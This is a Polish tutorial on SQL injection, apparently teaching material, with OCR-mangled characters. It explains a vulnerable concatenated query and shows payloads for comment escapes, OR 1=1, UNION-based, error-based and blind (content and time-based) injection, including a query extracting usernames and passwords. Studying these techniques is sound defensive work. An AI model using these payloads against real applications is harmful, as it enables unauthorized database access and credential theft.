Bezpieczenstwo Aplikacji
Internetowych

SQL Injection



CZYM JEST SQL INJECTION

SQL Injection to podatnosc¢ aplikacji webowych, dzieki ktorej napastnik moze
wstrzykngé wtasny fragment zapytania SQL. NajczesSciej zwigzana jest z btednym podejsciem
do budowania zapytan do bazy danych przez programistéw aplikacji. Zatézmy, na potrzeby
analizy tej podatnosci, ze mamy aplikacje blogowa, ktéra pozwala na wyszukiwanie postow
wedtug ich zawartosci. Adres URL odwotujgcy sie do wyszukiwarki wyglada nastepujaco:

https://example.com/search?query=test

Odwotanie do powyzszego adresu URL spowoduje wykonanie w aplikacji metody
odpowiedzialnej za wyszukiwanie postéw.

function getPosts(query) {
var sql = "SELECT * FROM blog posts " +
"WHERE post_content LIKE " +

+ query + "%"' " +

"AND published = 1";

return executeSqlQuery(sql);

W kodzie wystepuje typowy problem skutkujgcy podatnoscig — zmienna sql, zawierajgca
wyrazenie w jezyku SQL. Jest ona budowana poprzez konkatenacje, a jednym z jej
elementdw jest zmienna query, pochodzgca od uzytkownika. Gdy uzytkownik aplikacji
sprébuje wyszukaé ,proste” stowo, np. ,test” (jak w przyktadzie powyzej), aplikacja
wygeneruje nastepujgce zapytanie:

SELECT * FROM blog_posts WHERE post_content LIKE '%test%' AND published = 1

Zapytanie w wyniku zwrdci wszystkie posty na blogu, w ktorych tresci znajduje sie stowo
,test” oraz ktore majg ustawiong flage published. Zauwazmy, ze parametr podany przez
uzytkownika (test) zostat umieszczony w stringu wewnatrz pojedynczych apostrofow. W
zwigzku z tym préba ,,zepsucia” czegokolwiek w tym zapytaniu musi w pierwszej kolejnosci
wigzad sie z ucieczka z tego stringu. Jesli wiec na wejsciu podamy:

https://example.com/search?query=test’



to aplikacja wykona:

SELECT * FROM blog_posts WHERE post_content LIKE '%test'%' AND published = 1

W tej sytuacji baza danych odmdwi wykonania zapytania ze wzgledu na wystepujacy
w nim bfad sktadni: zamknelismy w zapytaniu string bedgcy argumentem dla operatora LIKE,
jednak bezposrednio za nim znajduje sie znak procenta i otwarcie kolejnego — tym razem juz
niedomknietego — stringu.

Typowy sposdb, by sobie z tym poradzié, to zakomentowanie reszty zapytania.
Standardowo w SQL do komentarzy uzywa sie sekwencji znakéw --.

Wykonajmy wiec kolejng prébe:

https://example.com/search?query=test’--

w wyniku ktérej aplikacja wykona zapytanie:

SELECT * FROM blog_posts
WHERE post_content LIKE '%test'--

Tym razem baza SQL juz nie zaprotestuje: nie wyswietli btedu sktadni i pozwoli zapytaniu na
wykonanie sie. Zauwazmy, ze dodanie komentarza spowodowato, ze warunek AND
published = 1 przestat juz by¢ sprawdzany. W ten prosty sposdb zyskalismy mozliwos¢
odczytania postow, ktére nie zostaty opublikowane!

Nadal jednak widzimy tylko te posty, ktérych zawartos¢ koriczy sie stowem ,test”. Jesli
chcemy odczytaé wszystkie posty znajdujace sie w bazie, musimy postuzy¢ sie innym
klasycznym wstrzyknieciem SQL:

https://example.com/search?query=test’ OR 1=1--

W jego wyniku wykona sie zapytanie:

SELECT * FROM blog_posts
WHERE post_content LIKE '%test' OR 1=1--

Tym razem baza danych zwrdéci wszystkie posty, ktére spetnig jeden z dwdch warunkdw logicznych:

- post_content LIKE '%test' (tres¢ posta konczy sie stowem ,test”),
- 1=1.



SPOSOBY WYKORZYSTANIA SQL INJECTION

Najbardziej typowym i czestym skutkiem wykorzystania SQL Injection jest odczyt
dowolnych tresci z bazy danych. Jednakze w zaleznosci od tego, w jaki doktadnie sposéb
budowane jest zapytanie oraz jakie informacje aplikacja zwraca, sposobdéw wykorzystania tej
podatnosci moze by¢ kilka. W tym podrozdziale poznamy najpopularniejsze z nich.

UNION-based

Jest to najprostszy i najszybszy sposéb wykorzystania SQL Injection, mozliwy do
zastosowania, jesli aplikacja w odpowiedzi zwraca tres¢ pobrang z bazy SQL. Jego istotg jest
wykorzystanie stowa kluczowego UNION z jezyka SQL. Dzieki UNION jestesmy w stanie
potgczy¢ ze sobg wyniki pobierania danych z dwdch réznych tabel SQL, np.:

SELECT kolumnal, kolumna2, kolumna3 FROM tabelal
UNION SELECT coll, col2, col3 FROM tabela2

W wyniku wykonywania zapytania zwracana jest tres¢ kolumn kolumnal, kolumna2,
kolumna3 z tabeli tabelal oraz kolumn coll, col2, col3 z tabeli tabela2. Aby silnik
bazodanowy nie odmoéwit wykonania zapytania, nalezy pamietac¢ o dwéch najwazniejszych
kwestiach:

- liczba kolumn w obu zapytaniach SELECT musi by¢ taka sama,

- typy kolumn w obu zapytaniach SELECT muszg by¢ zgodne (Spetnienie tego wymagania
zalezy od uzytego silnika bazodanowego. | tak w PostgreSQL, Microsoft SQL Server czy
OracleDB typy muszg by¢ zgodne, dla odmiany dla MySQL czy MariaDB takiego wymogu nie
ma.)

W praktyce wiec wykorzystanie SQL Injection typu UNION sprowadza sie do ustalenia:

- ile kolumn ma oryginalne zapytanie,
- tresc¢ ktorej z kolumn napastnik jest w stanie przeczytaé

ERROR-based

UNION-based SQL Injection jest najszybszym sposobem na wycigganie danych z bazy, ale nie
zawsze mozliwym do zastosowania. Zatézmy, ze nasz przyktadowy serwis blogowy generuje
zapytanie jak z listingu 1, po wyszukaniu stowa ,test”:



SELECT *

FROM blog_posts
WHERE post_content
LIKE '%test%’

AND published = 1

Listing 1

SELECT *

FROM blog_posts
WHERE post content
LIKE '%test'--

AND published = 1

Listing 2

Na pierwszy rzut oka réznica pomiedzy zapytaniem z listingu 1 a wcze$niejszymi moze
by¢ trudna do zauwazenia. Istotne sg jednak tutaj znaki nowej linii. Do tej pory uzywalismy
komentarza liniowego w SQL, by pozby¢ sie reszty zapytania. Jesli tym razem sprébujemy tej
samej sztuczki, osiggniemy efekt jak w listingu 2.

Odkomentowany zostat tylko fragment jednej linii — warunek logiczny AND published
=1 jest nadal sprawdzany. Gdybysmy wiec, podobnie jak wczesniej, prébowali wstrzykngc
UNION SELECT, ten dodatkowy warunek logiczny psutby zapytanie. W rzeczywistych
aplikacjach zazwyczaj nie ma mozliwosci podejrzenia tresci zapytania, odgadniecie jego
dalszej tresci moze wiec by¢ trudne. Préba zastosowania komentarza blokowego (tj. /*), by
odkomentowac catg reszte zapytania, nie powiodfaby sie, poniewaz dla silnikow
bazodanowych bytby to btad sktadni — komentarz blokowy jest otwarty, brakuje zas
poprawnego zamkniecia. Ponadto nie kazdy SQL Injection jest zwigzany ze wstrzyknieciem w
SELECT — jesli mamy wstrzykniecie np. w DELETE, uzywanie UNION SELECT jest bezzasadne.
Jesli wiec SQL Injection typu UNION nie wchodzi w rachube, nalezy zastosowac inne
podejscie. Jezeli aplikacja jest skonfigurowana tak, ze wyswietla w odpowiedziach HTTP
doktadng tres¢ btedéw, wowczas okazuje sie, ze mozemy nimi sterowac w taki sposob, iz w
tresci btedu pojawi sie doktadnie taka informacja, jakiej oczekujemy. Zobaczmy na



przyktadzie bazy danych PostgreSQL. Mamy w Postgresie mozliwos¢ rzutowania zmiennych
na inne typy, wykorzystujgc CAST, np.:

SELECT cast('123' as integer);

W takiej sytuacji string '123"' bedzie rzutowany na liczbe 123. Postgres zaprotestuje, jesli
sprobujemy rzutowac na liczbe wartosc, ktéra nie reprezentuje poprawnej liczby, np.:

SELECT cast('123xyz' as integer);

W takiej sytuacji dostaniemy btad:
error: invalid input syntax for integer: '123xyz'

Kluczowa w zrozumieniu ERROR-based SQL Injection jest obserwacja, ze komunikat o btedzie
zawiera odbitg wartos¢ przekazang do CAST. Mozemy wiec dowiedziec sie z niego, jaka
wartos¢ przekazano! W Postgresie istnieje mozliwo$¢ poznania wersji bazy danych przez
wywotanie funkcji VERSION(). Sprobujmy wynik tej funkcji rzutowac na liczbe:

SELECT cast(version() as integer);

Baza danych zwrdci bfad:

error: invalid input syntax for integer: "PostgreSQL 10.0 on x86_64-pc-
linux-gnu, compiled by gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-18), 64-bit"

Potwierdza to mozliwo$¢ wydobycia z niej danych dzieki komunikatom o btedach.
Odtworzenie wydobycia logindw i haset z systemu blogowego, analogicznie do przyktadu z
UNION, z wykorzystaniem tego sposobu wygladatoby nastepujaco:

https://example.com/search?query=test' AND CAST(( /
SELECT blog_user||'/'||user_password FROM blog_users) AS integer)--

Mozliwos$¢é wykonania SQL Injection typu ERROR dotyczy nie tylko Postgresa; w innych
silnikach bazodanowych réwniez mozna je wykorzystaé, choé w kazdym wyglada to nieco
inaczej. W ponizszych przyktadach pokazano, w jaki sposdb wywota¢ btgd zawierajgcy numer
wersji bazy danych:



MySQL/MariaDB:

SELECT extractvalue(1, concat('!', version()),

Oracle DB: SELECT CTXSYS.DRITHSX.SN(1, (SELECT banner FROM
v$version)) FROM dual,

Postgres: SELECT cast(version() AS integer),
Microsoft SQL Server: SELECT convert(int, @@version).

BLIND (content based)

Jednym z podstawowych zalecen hardeningowych na systemach jest upewnienie sie,
ze szczegodtowe tresci bteddw nie sg wyswietlane uzytkownikowi koricowemu. Jesli twoérca
danej aplikacji zastosowat sie do tej rekomendacji, uniemozliwi to wykorzystanie ERROR-
based SQL Injection. W takiej sytuacji z pomocg atakujgcemu przychodzi BLIND SQL Injection.
Jest to najwolniejsza metoda wykorzystania tej podatnosci, ale jednoczesnie najbardziej
uniwersalna — niemal zawsze mozliwa do wykonania, jezeli uda sie zidentyfikowaé SQL
Injection.

Clou wykorzystania BLIND SQL Injection polega na dodaniu do wstrzykniecia pewnego
warunku logicznego i mozliwosci identyfikacji, czy warunek logiczny w zapytaniu SQL zwrécit prawde
czy fatsz. Dla przyktadu, zatézmy, ze mamy system blogowy, w ktérym istnieje zapytanie zwracajace,
ile postéw nalezy do pewnej kategorii. Zagdanie HTTP wyglada nastepujgco:

https://example.com/getCategoryCount?category=test

i spowoduje wykonanie zapytania SQL w aplikacji:
SELECT count(*) FROM blog_posts WHERE post_category="test'

W odpowiedzi zobaczymy tylko liste postow pasujacych do kategorii. Na potrzeby przyktadu
przyjmijmy, ze dla kategorii test tych postow jest 10. Zaktadamy rédwniez, ze nie jestesSmy w
stanie wykonad ani SQL Injection typu UNION, ani SQL Injection typu ERROR. Dopiszmy wiec
do zapytania SQL prosty warunek:

https://example.com/getCategoryCount?’category=test’ AND 1=1--

z ktérego wynika zapytanie:

SELECT count(*) FROM blog_posts WHERE post_category="test' AND 1=1--



Zauwazmy, ze warunek logiczny 1=1 jest zawsze prawdziwy, nie wptynie wiec w zaden
sposob na wynik wykonywania tego zapytania. W odpowiedzi ponownie zobaczymy 10.
ZmieAmy teraz warunek logiczny na inny, np.:

https://example.com/getCategoryCount?category=test’ AND 1=2--

i zapytanie:

SELECT count(*) FROM blog_posts WHERE post_category="test' AND 1=2--

Warunek logiczny 1=2 jest z kolei zawsze fatszywy. Co za tym idzie, w odpowiedzi
powinnismy zobaczy¢, ze postdéw spetniajgcych zadane przez nas warunki logiczne jest
doktadnie 0.

Do tej pory ustaliliémy wiec, ze:

- gdy dodany przez nas warunek logiczny w zapytaniu SQL jest prawdziwy — w odpowiedzi
dostajemy 10,
- w przeciwnym wypadku odpowiedz to 0.

Oczywiscie warunek logiczny typu 1=1 czy 1=2 nie wnosi zadnej wartosci, jesli chodzi o
wydobycie jakichkolwiek danych z bazy. Z pomoca przyjdzie nam jednak funkcja SUBSTRING.
W SQL-u stuzy ona do wyciggniecia zadanego fragmentu jakiegos stringu. Jej definicja jest
nastepujaca:

SUBSTRING(string, start, length)

W rezultacie zwraca fragment ciggu znakdw string, zaczynajacy sie na indeksie start o
dtugosci length. Przyktadowo: SUBSTRING(name, 1, 1) wydobywa pierwszy znak z kolumny
name.

Wykorzystanie BLIND SQL Injection polega wiec na wydobywaniu pojedynczego znaku z
jakiegos ciggu znakow (np. wartosci kolumny) i sprawdzaniu, czy przyjmuje konkretng
wartosé, np.:

AND SUBSTRING(version(),1,1) = 'a’
AND SUBSTRING(version(),1,1) ="b"
AND SUBSTRING(version(),1,1) ="c"



Analogicznie jak w przypadku wczesniejszych sprawdzen typu 1=1i 1=2 — jezeli warunek
logiczny bedzie prawdziwy (czyli trafimy z poprawna literg), w odpowiedzi dostaniemy 10, a
w przeciwnym wypadku 0. Kiedy juz uda sie zidentyfikowac¢ pierwszy znak, mozna podejs¢ do
drugiego:

AND SUBSTRING(version(),2,1) ='a"’
AND SUBSTRING(version(),2,1) ="'b"’
AND SUBSTRING(version(),2,1) ="c"’

Z przedstawionego wyzej przyktadu mozna wnioskowaé, ze mozliwos¢ identyfikacji, czy dany
warunek logiczny jest prawdziwy czy fatszywy, jest wystarczajgca do wydobycia dowolnych
danych z bazy! W przypadku potrzeby wydobycia wartosci jakiej$ konkretnej kolumny
pierwszym argumentem w SUBSTRING moze by¢ zagniezdzony SELECT, np.:

SUBSTRING( (SELECT table _name FROM information_schema.tables LIMIT 1 OFFSET
0),1,1) = 'a’

O ile za pomocg BLIND SQL Injection mozemy wydoby¢ wszystkie dane z bazy, o tyle atak jest
dos¢ powolny. Zaktadajgc, ze chcemy poréwnywac, czy dany znak jest rowny dowolnej
literze (matej lub duzej) alfabetu tacifiskiego lub cyfrze — mamy w najgorszym razie do
wykonania 62 sprawdzenia. Istnieje mozliwo$¢é optymalizacji ataku i wydobycia wartosci
dowolnego znaku, ograniczajac liczbe iteracji wytgcznie do oSmiu poréwnan.

Zatézmy, ze wyciggamy pierwszy znak kolumny name (jego wartos¢ to: X, kod ASCII: 88). Tok
postepowania bytby nastepujacy:

AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,
AND ASCII(SUBSTRING(name,

1)) < 128 — zwraca PRAWDE,
1)) < 64 — zwraca FALSZ,

1)) < 96 — zwraca PRAWDE,
1)) < 80 — zwraca FALSZ,

1)) < 88 —zwraca FALSZ,

1)) < 92 — zwraca PRAWDE,
1)) < 90 — zwraca PRAWDE,
1)) < 89 — zwraca PRAWDE.
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Analizujgc powyzsze wyniki,mozna wyciggng¢ wniosek, ze kodASClltego znakumusi by¢
rowny 88. Atak opiera sie na metodzie ,dziel i zwyciezaj” — mozliwa przestrzei wartosci
bajtéw jest dzielona na pot i sprawdzamy, czy wartosc bajtu zawiera sie w jej dolnej czesci.
Jesli tak — dolna czes¢ jest zndw dzielona na pét i nastepuje kolejne sprawdzenie. Jesli nie —
gorna czesc jest dzielona na pot itd. Przeprowadzenie ataku SQL Injection typu BLIND na bazy



z réznymi silnikami de facto nie wigze sie z duzymi réznicami, poniewaz kazdy z nich
obstuguje funkcje SUBSTRING z takim samym zestawem argumentow.

BLIND (time based)

W niektdrych aplikacjach webowych mozna spotkac sie z sytuacjg, w ktdérej pewne
zapytania SQL sg wykonywane ,,w tle” i nie majg zadnego wptywu na to, co jest wyswietlane
w tresci odpowiedzi HTTP. Jednym z takich przyktadéw moze by¢ logowanie przez aplikacje
w bazie danych wartosci nagtdwka User-Agent. Nie zobaczymy w odpowiedzi, czy ta operacja
sie udata, nie mamy wiec mozliwosci wykorzystania zadnego z wczesniej omdéwionych typéw
SQL Injection.

W takiej sytuacji z pomocg przychodzi inny wariant podatnosci BLIND SQL Injection,
znany jako time based. Tym razem nie bedziemy opierac sie na tresci odpowiedzi, a na
informacji o czasie, jaki zajmuje jej udzielenie. Przygotujemy takie zapytanie SQL, ktére
sprawi, ze silnik SQL bedzie je przetwarzat kilka sekund, jesli warunek logiczny bedzie
prawdziwy, natomiast w przypadku fatszywego warunku logicznego odpowiedz zostanie
zwrocona od razu.

Najprosciej kod wykorzystujgcy podatnosé bedziemy mogli przygotowac w bazie
danych MySQL/MariaDB, w ktérej istnieje funkcja SLEEP, przyjmujaca jako argument liczbe
sekund okreslajgca, na jaki czas ma wstrzymac wykonywanie zapytania.

SELECT ... WHERE 1=1 AND SLEEP(5)=1
SELECT ... WHERE 1=2 AND SLEEP(5)=1

Bazy danych, podobnie jak wiekszo$é popularnych jezykdw programowania,
rozwigzujg wyrazenia logiczne, uzywajgc tzw. short-circuit evaluation1 . W pierwszym z
przedstawionych wyzej przyktadéw warunek logiczny 1=1 jest prawdziwy, a zatem baza
danych musi zweryfikowaé réwniez kolejny warunek logiczny (SLEEP(5)=1), by mdc obliczy¢
wartos$é catego wyrazenia logicznego. W drugim przypadku warunek 1=2 jest fatszywy, wiec
baza danych nie potrzebuje juz obliczania kolejnego warunku logicznego, bowiem wiadomo,
ze cate wyrazenie bedzie fatszywe. Na tej podstawie fatwo zauwazy¢, ze jesli warunek
logiczny jest prawdziwy, wykonanie zapytania SQL zajmie ok. 5 sekund wiecej niz w
przeciwnym wypadku. Wydobywanie konkretnych danych z bazy w realnym ataku moze odbywa¢
sie z uzyciem SUBSTRING, analogicznie jak w ,klasycznym” BLIND SQL Injection. W zaleznosci od
silnika bazodanowego stosowane sg rézne sposoby wymuszenia opdznien.

MySQL/MariaDB: SLEEP(5),

PostgreSQL: PG_SLEEP(5),

Microsoft SQL Server: WAITFOR DELAY '9:0:5",
OracleDB: DBMS_PIPE.RECEIVE_MESSAGE('x', 5).
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